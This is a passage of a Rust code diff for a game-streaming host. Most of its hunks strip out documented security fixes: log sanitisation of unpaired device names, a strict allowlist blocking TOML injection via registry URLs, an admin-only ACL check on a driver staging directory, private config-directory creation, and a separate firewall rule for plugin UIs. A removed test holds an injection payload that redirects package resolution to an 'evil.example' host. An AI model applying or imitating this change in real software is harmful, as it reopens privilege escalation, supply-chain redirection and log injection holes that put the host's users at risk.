f.feed(chunk, |kind, frame| got.push((kind, frame.len(), frame[0])));
}
assert_eq!(
got,
vec![
(PAD_AUDIO_KIND_HAPTICS, 2 * HAPTICS_FRAME_SAMPLES, -0.5),
(PAD_AUDIO_KIND_HAPTICS, 2 * HAPTICS_FRAME_SAMPLES, -0.5),
(PAD_AUDIO_KIND_SPEAKER, 2 * SPEAKER_FRAME_SAMPLES, 0.25),
]
);
}
#[test]
fn framer_masks_disabled_kinds() {
// 20 ms of all-ones capture: 4 potential haptics frames, 2 potential speaker frames.
let quad = vec![1.0f32; 4 * HAPTICS_FRAME_SAMPLES * CAP_CHANNELS];
let mut kinds_seen = Vec::new();
// Haptics-only: the front pair is never split out, let alone encoded.
let mut f = PadFramer::new(KIND_BIT_HAPTICS);
f.feed(&quad, |kind, _| kinds_seen.push(kind));
assert_eq!(kinds_seen, vec![PAD_AUDIO_KIND_HAPTICS; 4]);
// Speaker-only: no haptics frames.
let mut f = PadFramer::new(KIND_BIT_SPEAKER);
kinds_seen.clear();
f.feed(&quad, |kind, _| kinds_seen.push(kind));
assert_eq!(kinds_seen, vec![PAD_AUDIO_KIND_SPEAKER; 2]);
// kinds = 0 is never spawned, but the framer must still be total: nothing comes out.
let mut f = PadFramer::new(0);
kinds_seen.clear();
f.feed(&quad, |kind, _| kinds_seen.push(kind));
assert!(kinds_seen.is_empty());
}
#[test]
fn framer_clear_drops_partials_only() {
let mut f = PadFramer::new(KIND_BIT_HAPTICS | KIND_BIT_SPEAKER);
let mut emitted = 0;
// 100 samples: no frame boundary reached yet.
f.feed(&vec![0.1; 100 * CAP_CHANNELS], |_, _| emitted += 1);
assert_eq!(emitted, 0);
f.clear();
// After the gap: exactly one haptics frame from 240 fresh samples — the 100 stale
// samples are gone (they would skew every later frame boundary).
f.feed(
&vec![0.2; HAPTICS_FRAME_SAMPLES * CAP_CHANNELS],
|kind, frame| {
emitted += 1;
assert_eq!(
(kind, frame.len()),
(PAD_AUDIO_KIND_HAPTICS, 2 * HAPTICS_FRAME_SAMPLES)
);
},
);
assert_eq!(emitted, 1);
}
#[test]
fn host_cap_requires_the_client_bit() {
// Without CLIENT_CAP_PAD_AUDIO the answer is no on EVERY platform (on Windows the
// env + provisioning legs are environment-dependent — not unit-tested here).
assert!(!host_cap(0));
assert!(!host_cap(punktfunk_core::quic::CLIENT_CAP_CURSOR));
}
}
+4 -14
View File
@@ -7,7 +7,6 @@ use super::*;
// The ceremony-only wire messages: imported directly (native.rs no longer references them, so they
// were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives
// via the glob (serve_session decodes it).
use crate::native_pairing::sanitize_device_name;
use punktfunk_core::quic::{PairChallenge, PairProof, PairResult};
/// Pairing needs a human in the loop (reading the PIN off the host, typing it into the
@@ -30,19 +29,10 @@ pub(super) async fn pair_ceremony(
use punktfunk_core::quic::pake;
let client_fp = endpoint::peer_fingerprint(conn)
.ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?;
let client_fp_hex = fingerprint_hex(&client_fp);
// Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on.
//
// This name arrives from an UNPAIRED device — the earliest, least authenticated input the host
// takes — and these were the three log sites that bypassed the documented single scrubber, so
// ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal
// (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own
// module doc; the storage path already went through it, only the logging did not.
let name = sanitize_device_name(&req.name, &client_fp_hex);
tracing::info!(
name = %name,
client = %client_fp_hex,
name = %req.name,
client = %fingerprint_hex(&client_fp),
"PAIRING REQUEST — verifying against the armed PIN"
);
@@ -84,9 +74,9 @@ pub(super) async fn pair_ceremony(
if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) {
tracing::error!(error = %format!("{e:#}"), "could not persist paired clients");
}
tracing::info!(name = %name, "pairing complete — client trusted");
tracing::info!(name = %req.name, "pairing complete — client trusted");
} else {
tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored");
tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored");
}
io::write_msg(&mut send, &PairResult { ok }.encode()).await?;
let _ = send.finish();
+46 -40
View File
@@ -441,27 +441,26 @@ fn idd_adaptive_enabled() -> bool {
/// Seal one access unit and send it with MICROBURST pacing (the shared
/// [`send_pacing`](crate::send_pacing) policy, native parameterization): the first `burst_cap`
/// bytes go out immediately (one absorbed burst the NIC / socket tx-buffer can swallow), and
/// only the OVERFLOW beyond that is spread across the time it needs at `pace_rate_bps` in
/// ADAPTIVE chunks — 16 packets at today's rates, coarsening to at most 64 (the GSO-segment
/// cap) once the rate would otherwise skip every sub-floor sleep, so ≥1 Gbps frames still pace
/// instead of collapsing into an unpaced blast (plan Phase 1.2). `burst_cap` `None` = auto:
/// `max(128 KB, this AU's wire bytes / 4)`, so the burst stays a bounded fraction of a
/// high-rate frame instead of swallowing it whole (plan Phase 1.3); `Some` =
/// PUNKTFUNK_PACE_BURST_KB pinned an absolute cap. So a normal-bitrate frame (≤ cap) leaves in
/// one immediate burst at ~0 added latency, while a genuine IDR / sustained-high-bitrate frame
/// (≫ cap) still spreads — keeping the freeze fix exactly where it's needed (an unpaced
/// line-rate burst overruns the kernel tx buffer → EAGAIN drop → under infinite GOP, a freeze
/// until the next keyframe).
/// only the OVERFLOW beyond that is spread across `min(~90% of the time to deadline, the time
/// the overflow needs at pace_rate_bps)` in ADAPTIVE chunks — 16 packets at today's rates,
/// coarsening to at most 64 (the GSO-segment cap) once the rate would otherwise skip every
/// sub-floor sleep, so ≥1 Gbps frames still pace instead of collapsing into an unpaced blast
/// (plan Phase 1.2). `burst_cap` `None` = auto: `max(128 KB, this AU's wire bytes / 4)`, so
/// the burst stays a bounded fraction of a high-rate frame instead of swallowing it whole
/// (plan Phase 1.3); `Some` = PUNKTFUNK_PACE_BURST_KB pinned an absolute cap. So a
/// normal-bitrate frame (≤ cap) leaves in one immediate burst at ~0 added latency, while a
/// genuine IDR / sustained-high-bitrate frame (≫ cap) still spreads — keeping the freeze fix
/// exactly where it's needed (an unpaced line-rate burst overruns the kernel tx buffer →
/// EAGAIN drop → under infinite GOP, a freeze until the next keyframe). With no slack
/// (encode ≈ interval) the budget collapses to 0 and even the overflow goes out immediately,
/// so this is never slower than unpaced.
///
/// `pace_rate_bps` (latency plan T1.2; resume-safe form, stall program T2): the caller passes
/// ~3× the live encoder bitrate — a rate the link is proven to carry sustained — and the
/// overflow's wire time at that rate IS the pace budget ([`crate::send_pacing::native_budget`],
/// [`crate::send_pacing::MAX_PACE_SPREAD`]-bounded). The frame deadline no longer under-cuts
/// the spread: for a steady-state frame the rate term was the smaller one anyway (tail gone in
/// a fraction of the interval), and for an oversized frame (stall-resume scene delta, cold
/// IDR) the old deadline clamp was exactly the line-rate blast → tx-overrun → freeze path this
/// module exists to prevent. `0` = uncapped legacy deadline-only spread
/// (PUNKTFUNK_PACE_FACTOR=0, and the fallback when the bitrate isn't known yet).
/// `pace_rate_bps` (latency plan T1.2) bounds the spread from above: the deadline term alone
/// smears a big frame's tail across the whole remaining interval (~15 ms at 60 fps) even when
/// the link could drain it in 23 ms. The caller passes ~3× the live encoder bitrate — a rate
/// the link is proven to carry sustained, so the bounded excursion keeps the anti-freeze
/// property while the tail leaves as soon as the link plausibly allows. `0` = uncapped
/// (legacy smoothness-only spread, and the fallback when the bitrate isn't known yet).
#[allow(clippy::too_many_arguments)]
fn paced_submit(
session: &mut Session,
@@ -499,22 +498,34 @@ fn pace_sealed(
chunk: crate::send_pacing::ChunkPolicy::Adaptive { base: 16, max: 64 },
sleep_floor: std::time::Duration::from_micros(500),
};
// T1.2 rate cap, resume-safe form (stall program T2): the overflow's wire time at
// `pace_rate_bps` IS the budget — the deadline no longer under-cuts it, so an oversized
// frame (a stall-resume scene delta, a cold IDR) paces at the proven 3× rate instead of
// collapsing into a line-rate blast that overruns the socket buffer and loses the very
// frame that ends a freeze. See `send_pacing::native_budget` for the full argument.
// T1.2 rate cap: the overflow's wire time at `pace_rate_bps`. Only the bytes past the
// burst pace at all, so only they bound the budget.
let overflow_bytes = wire_bytes.saturating_sub(burst_bytes) as u64;
let budget = crate::send_pacing::native_budget(deadline, pace_rate_bps, overflow_bytes);
let cap = if pace_rate_bps > 0 && overflow_bytes > 0 {
std::time::Duration::from_nanos(
(overflow_bytes * 8).saturating_mul(1_000_000_000) / pace_rate_bps,
)
} else {
std::time::Duration::MAX
};
// Time the socket handoff per chunk and fold it into the session's SealPerf split — the
// sleeps between chunks stay excluded, so sock_ns is pure send_gso/sendmmsg time.
let mut sock_ns = 0u64;
let result = crate::send_pacing::pace_frame(&refs, budget, &cfg, |chunk| {
let t0 = std::time::Instant::now();
let r = session.send_sealed(chunk).map(|_| ());
sock_ns += t0.elapsed().as_nanos() as u64;
r
});
let result = crate::send_pacing::pace_frame(
&refs,
crate::send_pacing::PaceBudget::UntilDeadline {
deadline,
fraction: 0.9,
cap,
},
&cfg,
|chunk| {
let t0 = std::time::Instant::now();
let r = session.send_sealed(chunk).map(|_| ());
sock_ns += t0.elapsed().as_nanos() as u64;
r
},
);
drop(refs); // release the borrow of `wires` so it can return to the seal pool
session.reclaim_wires(wires);
session.note_sock_ns(sock_ns);
@@ -1307,7 +1318,7 @@ pub(super) struct SessionContext {
/// The session's input pipeline (the same channel client datagrams feed) — the stream loop
/// uses it to PARK the seat pointer on the streamed surface (see [`park_pointer`]).
#[cfg(target_os = "linux")]
pub(super) input_tx: std::sync::mpsc::SyncSender<super::input::ClientInput>,
pub(super) input_tx: std::sync::mpsc::Sender<super::input::ClientInput>,
}
/// Park the seat pointer at the centre of the streamed surface, through the SAME injection path
@@ -1325,7 +1336,7 @@ pub(super) struct SessionContext {
/// output's edge — pins the pointer to the surface the client actually sees. A desktop-model
/// client overrides it with its first absolute move, so the jump is invisible in practice.
#[cfg(target_os = "linux")]
fn park_pointer(input_tx: &std::sync::mpsc::SyncSender<super::input::ClientInput>, w: u32, h: u32) {
fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w: u32, h: u32) {
let ev = punktfunk_core::input::InputEvent {
kind: punktfunk_core::input::InputKind::MouseMoveAbs,
_pad: [0; 3],
@@ -1336,12 +1347,7 @@ fn park_pointer(input_tx: &std::sync::mpsc::SyncSender<super::input::ClientInput
// matches the streamed output by exactly these dims.
flags: (w << 16) | (h & 0xffff),
};
// `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a
// best-effort nicety and must never block the stream loop behind a full input backlog.
if input_tx
.try_send(super::input::ClientInput::Event(ev))
.is_ok()
{
if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() {
tracing::info!(
w,
h,
+2 -82
View File
@@ -55,7 +55,7 @@ pub(crate) enum ChunkPolicy {
}
/// The time the paced (post-burst) packets spread across.
#[derive(Clone, Copy, Debug, PartialEq)]
#[derive(Clone, Copy, Debug)]
pub(crate) enum PaceBudget {
/// `min((deadline now-after-burst) × fraction, cap)`, collapsing to 0 with no slack
/// (native: fraction 0.9). `cap` bounds the spread to the time the overflow actually needs
@@ -68,53 +68,10 @@ pub(crate) enum PaceBudget {
fraction: f32,
cap: Duration,
},
/// A precomputed fixed budget (GameStream: ¾ of the frame interval; native: the rate-cap
/// spread from [`native_budget`]).
/// A precomputed fixed budget (GameStream: ¾ of the frame interval).
Fixed(Duration),
}
/// Absolute ceiling on one frame's paced spread (native plane): a pathological frame must not
/// park the send thread for longer than this, whatever the rate math says. At the ceiling the
/// tail is late but delivered whole — still strictly better than the blast-loss → freeze →
/// recovery-IDR round trip it replaces.
pub(crate) const MAX_PACE_SPREAD: Duration = Duration::from_millis(100);
/// The native plane's pace budget for one frame (pure — unit-tested): with the T1.2 rate cap
/// active, the paced overflow spreads across exactly the time it needs at the pace rate
/// (`cap`, bounded by [`MAX_PACE_SPREAD`]) and is NEVER under-cut by the frame deadline.
///
/// The old schedule took `min(0.9 × time-to-deadline, cap)`. For a steady-state frame the cap
/// is the smaller term and nothing changes. But for an OVERSIZED frame — a stall-resume scene
/// delta after seconds of frozen composition, a cold IDR — the overflow needs SEVERAL frame
/// intervals at the pace rate, and the deadline term clamped that into the remainder of ONE:
/// an instantaneous many-×-stream-rate blast that overruns the socket tx-buffer and loses the
/// very frame that would have ended the freeze (field fingerprint: WSAENOBUFS 10055 +
/// `loss_ppm` spikes at capture-stall edges, then a recovery-IDR round trip per retry). The
/// pace rate is ~3× a rate the link demonstrably carries, so holding it past the deadline is
/// safe by the same argument that introduced the cap — the deadline stays a *target*, not a
/// license to blast.
///
/// `pace_rate_bps == 0` (PUNKTFUNK_PACE_FACTOR=0) or an overflow-free frame keeps the legacy
/// deadline-only spread.
pub(crate) fn native_budget(
deadline: Instant,
pace_rate_bps: u64,
overflow_bytes: u64,
) -> PaceBudget {
if pace_rate_bps > 0 && overflow_bytes > 0 {
let cap = Duration::from_nanos(
(overflow_bytes * 8).saturating_mul(1_000_000_000) / pace_rate_bps,
);
PaceBudget::Fixed(cap.min(MAX_PACE_SPREAD))
} else {
PaceBudget::UntilDeadline {
deadline,
fraction: 0.9,
cap: Duration::MAX,
}
}
}
/// Per-plane pacing parameters. See the module doc for the two canonical values.
#[derive(Clone, Copy, Debug)]
pub(crate) struct PaceCfg {
@@ -641,43 +598,6 @@ mod tests {
);
}
/// [`native_budget`]: with the rate cap active the budget is the overflow's wire time at
/// the pace rate — a FIXED spread the deadline can no longer under-cut — bounded by
/// [`MAX_PACE_SPREAD`]; rate 0 / no overflow keep the legacy deadline-only schedule.
#[test]
fn native_budget_is_rate_bound_never_deadline_cut() {
// The stall-resume case the fix exists for: a 3 MB overflow at 3×240 Mbps needs
// ~33 ms — an IMMINENT deadline (the old min() made this a blast) must not shrink it.
let deadline = Instant::now() + Duration::from_millis(4); // 240 fps interval
let b = native_budget(deadline, 720_000_000, 3_000_000);
assert_eq!(b, PaceBudget::Fixed(Duration::from_nanos(33_333_333)));
// A steady-state frame: overflow 90 KB at 3×240 Mbps = 1 ms — identical to what the
// old min(slack, cap) chose (cap was the smaller term), so nothing regresses.
let b = native_budget(deadline, 720_000_000, 90_000);
assert_eq!(b, PaceBudget::Fixed(Duration::from_micros(1_000)));
// A crater-rate resume (ABR backed off to 20 Mbps, pace 60 Mbps): the raw rate math
// says 400 ms for 3 MB — the absolute ceiling bounds the send thread's stall.
let b = native_budget(deadline, 60_000_000, 3_000_000);
assert_eq!(b, PaceBudget::Fixed(MAX_PACE_SPREAD));
// Rate cap off (PUNKTFUNK_PACE_FACTOR=0): the legacy deadline-only spread, uncapped.
let b = native_budget(deadline, 0, 3_000_000);
assert!(matches!(
b,
PaceBudget::UntilDeadline {
fraction,
cap: Duration::MAX,
..
} if fraction == 0.9
));
// No overflow (the whole frame bursts): budget is never consulted — legacy shape.
let b = native_budget(deadline, 720_000_000, 0);
assert!(matches!(b, PaceBudget::UntilDeadline { .. }));
}
/// `inject_video_drop` is a no-op when the knob is off (the default test env).
#[test]
fn drop_injection_off_by_default() {
+3 -97
View File
@@ -137,49 +137,6 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
out
}
/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a
/// registry: absolute https, bounded, and built only from characters that appear in a real URL.
///
/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this
/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original
/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no
/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early.
fn valid_registry_url(url: &str) -> bool {
let Some(rest) = url.strip_prefix("https://") else {
return false;
};
!rest.is_empty()
&& url.len() <= 512
&& rest.chars().all(|c| {
c.is_ascii_alphanumeric()
|| matches!(
c,
'-' | '.'
| '_'
| '~'
| ':'
| '/'
| '?'
| '#'
| '['
| ']'
| '@'
| '!'
| '$'
| '&'
| '\''
| '('
| ')'
| '*'
| '+'
| ','
| ';'
| '='
| '%'
)
})
}
/// Point a package scope at its registry in the plugins dir's `bunfig.toml`.
///
/// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on
@@ -192,17 +149,9 @@ fn valid_registry_url(url: &str) -> bool {
/// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already
/// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives.
pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> {
// Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be
// proven unable to close the quote.
//
// The scope always was. The URL was not: its only guard was `starts_with("https://")`, and
// `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through
// `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry
// read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]`
// table into the file that tells `bun` where to fetch EVERY package from — and it persists
// after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7).
// Sources may be unsigned, so "it came from a verified index" was not a guarantee either.
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) {
// The scope and URL both come from a signature-verified, field-validated index entry
// (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML.
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") {
bail!("refusing to map scope `{scope}` to `{url}`");
}
std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?;
@@ -730,49 +679,6 @@ mod tests {
assert!(!dir.path().join("bunfig.toml").exists());
}
/// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never
/// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so
/// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The
/// payload that mattered injects a top-level `[install]` table, redirecting every subsequent
/// package resolution, and survives deletion of the source that introduced it.
#[test]
fn bunfig_registry_url_cannot_inject_a_toml_table() {
let dir = tempfile::tempdir().unwrap();
let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/";
assert!(
ensure_bunfig_scope(dir.path(), "@x", injection).is_err(),
"a registry URL that closes the TOML string must be refused"
);
assert!(!dir.path().join("bunfig.toml").exists());
// The individual characters that make it possible, each on its own.
for bad in [
"https://e/\"quote",
"https://e/\nnewline",
"https://e/\rcarriage",
"https://e/ space",
"https://e/\ttab",
"https://e/back\\slash",
"https://e/nul\0byte",
] {
assert!(
ensure_bunfig_scope(dir.path(), "@x", bad).is_err(),
"must refuse registry URL {bad:?}"
);
}
// Real registry URLs — including ports, query strings and percent-escapes — still pass.
for good in [
"https://git.unom.io/api/packages/unom/npm/",
"https://registry.example.com:8443/npm/",
"https://example.com/npm/?token=abc%20def",
] {
assert!(
ensure_bunfig_scope(dir.path(), "@x", good).is_ok(),
"must accept registry URL {good:?}"
);
}
}
/// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`.
///
/// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule
+32 -222
View File
@@ -61,22 +61,6 @@ pub fn driver_main(args: &[String]) -> Result<()> {
fn driver_install(args: &[String]) -> Result<()> {
let dir =
PathBuf::from(flag_val(args, "--dir").context("driver install: --dir <stage> required")?);
// Everything below this line runs with the caller's privileges — which, on the installer path,
// are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a
// `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into
// the driver store. So the directory is not merely an input, it is code and trust; a stage a
// non-admin can write is a local privilege escalation, whoever passed the flag.
//
// This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually
// in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's
// plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`).
ensure_admin_only_source(&dir).with_context(|| {
format!(
"refusing to install drivers from {} — the staging directory must be writable only by \
SYSTEM/Administrators",
dir.display()
)
})?;
let gamepad = flag_present(args, "--gamepad");
let (what, res) = if gamepad {
("gamepad", install_gamepad(&dir))
@@ -90,163 +74,6 @@ fn driver_install(args: &[String]) -> Result<()> {
Ok(())
}
/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write.
///
/// Two conditions, both necessary:
/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always
/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the
/// DACL currently says;
/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR
/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is
/// precisely what keeps handing them control of everything inside.
///
/// Reads the security descriptor directly rather than parsing `icacls` output, which prints
/// *localized account names* — the same class of locale trap this whole module exists to avoid.
#[cfg(windows)]
fn ensure_admin_only_source(dir: &Path) -> Result<()> {
use std::os::windows::ffi::OsStrExt;
use windows::core::PCWSTR;
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT};
use windows::Win32::Security::{
EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL,
DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID,
};
const ACCESS_ALLOWED_ACE_TYPE: u8 = 0;
/// Rights that let a trustee change what we are about to trust and execute: write/append data,
/// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the
/// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and
/// both generic bits are checked explicitly in case an ACE stores them unmapped.
const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE
| 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY
| 0x0000_0010 // FILE_WRITE_EA
| 0x0000_0100 // FILE_WRITE_ATTRIBUTES
| 0x0000_0040 // FILE_DELETE_CHILD
| 0x0001_0000 // DELETE
| 0x0004_0000 // WRITE_DAC
| 0x0008_0000 // WRITE_OWNER
| 0x1000_0000 // GENERIC_ALL
| 0x4000_0000; // GENERIC_WRITE
if !dir.is_dir() {
bail!("{} is not a directory", dir.display());
}
let wide: Vec<u16> = dir
.as_os_str()
.encode_wide()
.chain(std::iter::once(0))
.collect();
let mut owner = PSID::default();
let mut dacl: *mut ACL = std::ptr::null_mut();
let mut sd = PSECURITY_DESCRIPTOR::default();
// SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the
// returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it).
let rc = unsafe {
GetNamedSecurityInfoW(
PCWSTR(wide.as_ptr()),
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
Some(&mut owner),
None,
Some(&mut dacl),
None,
&mut sd,
)
};
let verdict = (|| -> Result<()> {
rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?;
let privileged = privileged_sids()?;
// SAFETY: `owner` points into the descriptor returned above and is valid for this scope.
let is_privileged = |sid: PSID| -> bool {
if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() {
return false;
}
privileged
.iter()
.any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok())
};
if !is_privileged(owner) {
bail!(
"the directory is owned by a non-administrative account, which retains WRITE_DAC \
and can restore its own access at any time"
);
}
// A NULL DACL grants everyone everything; an absent one is not "no access".
if dacl.is_null() {
bail!("the directory has a NULL DACL (everyone has full control)");
}
// SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index.
let count = unsafe { (*dacl).AceCount };
for i in 0..count as u32 {
let mut ace: *mut core::ffi::c_void = std::ptr::null_mut();
// SAFETY: i < AceCount, and `ace` is a live out-param.
unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?;
// SAFETY: every ACE starts with an ACE_HEADER.
let header = unsafe { *(ace as *const ACE_HEADER) };
if header.AceType != ACCESS_ALLOWED_ACE_TYPE {
continue; // deny ACEs only ever subtract; audit ACEs grant nothing
}
// SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID.
let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) };
if allowed.Mask & WRITE_MASK == 0 {
continue; // read-only for this trustee — harmless
}
let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void);
if !is_privileged(sid) {
bail!(
"a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \
anything staged here can be replaced before it is trusted or executed",
allowed.Mask
);
}
}
Ok(())
})();
// SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned.
unsafe {
let _ = LocalFree(Some(HLOCAL(sd.0)));
}
verdict
}
/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`,
/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage).
#[cfg(windows)]
fn privileged_sids() -> Result<Vec<Vec<u8>>> {
use windows::core::PCWSTR;
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::ConvertStringSidToSidW;
use windows::Win32::Security::{GetLengthSid, PSID};
[
"S-1-5-18",
"S-1-5-32-544",
"S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464",
]
.iter()
.map(|s| {
let wide: Vec<u16> = s.encode_utf16().chain(std::iter::once(0)).collect();
let mut psid = PSID::default();
// SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param.
unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) }
.with_context(|| format!("ConvertStringSidToSidW({s})"))?;
// SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes.
let len = unsafe { GetLengthSid(psid) } as usize;
let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec();
// SAFETY: ConvertStringSidToSidW allocates with LocalAlloc.
unsafe {
let _ = LocalFree(Some(HLOCAL(psid.0)));
}
Ok(bytes)
})
.collect()
}
/// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` /
/// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we
/// find our own certs again without parsing any localized output — see `purge_driver_certs`.
@@ -627,12 +454,7 @@ fn web_setup(args: &[String]) -> Result<()> {
PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir <app> required")?);
let pw_file = flag_val(args, "--password-file");
let data_dir = pf_paths::config_dir();
// `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else
// touches the config dir, and the very next line writes the console login password into it. A
// plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may
// create files — so the one call that most needs the hardened directory was the one creating it
// unhardened (2026-08-05 review H-4).
pf_paths::create_private_dir(&data_dir).ok();
std::fs::create_dir_all(&data_dir).ok();
// 1. login password
set_web_password(&data_dir.join("web-password"), pw_file.as_deref());
@@ -655,51 +477,39 @@ fn web_setup(args: &[String]) -> Result<()> {
server.display()
);
}
// 4. firewall: inbound TCP 47992 (console) and 47993 (plugin UIs). The console serves HTTPS
// (HTTP/1.1 over TLS) with the host's identity cert. (No UDP/HTTP-3: browsers won't use QUIC
// against a self-signed/no-SAN cert.) Scoped to the same profiles as the streaming ports —
// Domain + Private by default, Public only with `--allow-public-network`. Delete any prior
// rule first so an upgrade re-scopes it instead of stacking a second (possibly all-profiles)
// rule behind the new one.
//
// 47993 is a SEPARATE ORIGIN, not a second copy of the console: plugin UIs are served there
// precisely so a plugin cannot act as the logged-in operator on the console's origin
// (security-review 2026-08-05 H-3). Same host, same certificate, different port — which is
// what makes it a different origin to the browser while staying same-site for the session
// cookie. Without this rule, plugin interfaces simply do not load from another device.
// 4. firewall: inbound TCP 47992. The console serves HTTPS (HTTP/1.1 over TLS) with the host's
// identity cert. (No UDP/HTTP-3: browsers won't use QUIC against a self-signed/no-SAN cert.)
// Scoped to the same profiles as the streaming ports — Domain + Private by default, Public
// only with `--allow-public-network`. Delete any prior rule first so an upgrade re-scopes it
// instead of stacking a second (possibly all-profiles) rule behind the new one.
let fw_profile =
crate::service::firewall_profile_arg(crate::service::allow_public_network(args)?);
for (name, port) in [
("Punktfunk web console (TCP 47992)", "47992"),
("Punktfunk plugin UIs (TCP 47993)", "47993"),
] {
run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"delete",
"rule",
&format!("name={name}"),
],
);
if !run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"add",
"rule",
&format!("name={name}"),
"dir=in",
"action=allow",
"protocol=TCP",
&format!("localport={port}"),
fw_profile,
],
) {
eprintln!("warning: could not add the firewall rule for TCP {port}");
}
run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"delete",
"rule",
"name=Punktfunk web console (TCP 47992)",
],
);
if !run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"add",
"rule",
"name=Punktfunk web console (TCP 47992)",
"dir=in",
"action=allow",
"protocol=TCP",
"localport=47992",
fw_profile,
],
) {
eprintln!("warning: could not add the firewall rule for TCP 47992");
}
// No start step: the PunktfunkHost service supervises the console and starts it the moment the
// host has written the files it needs (mgmt token + identity cert/key) — there is nothing an
+5 -17
View File
@@ -1343,26 +1343,14 @@ fn uninstall() -> Result<()> {
/// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor.
fn ensure_default_host_env() -> Result<()> {
let path = host_env_path();
// Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the
// branch that creates the file.
//
// The 2026-08-05 review's H-4: this used to return early when host.env already existed, which
// skipped the very `create_private_dir` whose reason for existing is "so a local user can't
